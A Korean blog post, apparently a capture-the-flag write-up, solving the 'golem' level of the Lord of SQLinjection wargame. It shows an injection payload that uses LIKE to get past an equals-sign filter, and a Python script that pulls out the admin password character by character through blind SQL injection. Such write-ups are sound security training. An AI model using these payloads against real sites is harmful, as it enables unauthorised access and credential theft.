인젝션을 통해 admin의 비밀번호를 알아내어 pw에 넣으면 풀리는 문제다. =이 필터에 걸려 있기 때문에 like를 사용하여 풀 수 있다.

먼저 비밀번호의 길이를 구해야 한다. 비밀번호의 길이는 아래와 같이 구했다.

?pw=1%27||ascii(id)-103%26%26length(pw)%20like%20%278
pw가 8자리라는 것을 알았다. 이젠 blind sql injection을 통해 비밀번호를 따면 된다.

import urllib, urllib2

flag = ""
for i in range(1,9):
        for j in range(33, 128):
                url = "http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?"
                url += "pw=1%27||ascii(id)-103%26%26ascii(mid(pw,{},1))%20like%20%27{}".format(i, j)
                print url 
                req = urllib2.Request(url)
                req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
                req.add_header('Cookie','__cfduid=d4cc8c809fqewr27de6749e5eaa6r3e1f1500957474; PHPSESSID=498O4fb9opfr78vauqu88eq611')

                res = urllib2.urlopen(req).read()

                if "Hello admin" in res:
                        print "[+] Find! : " + chr(j)
                        flag += chr(j)
                        break
print "[+] Find Flag! : " + flag


'Wargame > lord of sqlinjection' 카테고리의 다른 글

Lord of SQLinjection bugbear  (0) 2017.08.02
Lord of SQLinjection darkknight  (0) 2017.07.30
Lord of SQLinjection skeleton  (0) 2017.07.30
Lord of SQLinjection vampire  (0) 2017.07.25
Lord of SQLinjection Troll  (0) 2017.07.25

+ Recent posts